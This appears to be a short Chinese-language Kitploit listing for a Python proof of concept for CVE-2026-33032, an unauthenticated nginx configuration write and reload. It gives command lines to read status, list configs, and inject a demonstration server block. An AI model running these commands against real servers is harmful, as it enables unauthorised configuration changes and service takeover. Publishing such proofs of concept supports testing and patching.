CVE-2026-33032 — CVE-2026-33032 的 Python 概念验证（PoC），可检查 nginx 状态与配置，并演示利用未授权配置写入和重载来部署恶意服务器块。 | Kitploit

分享

CVE-2026-33032

安全检查（读取 nginx 状态）

python3 main.py http://target:9000 --tool nginx_status

列出配置

python3 main.py 10.0.0.50 --tool nginx_config_list

破坏性演示（写入并重载）

python3 main.py http://target:9000 \
  --tool nginx_config_add \
  --payload poc.conf \
  --content 'server { listen 8443; return 200 "MCPwned\n"; }'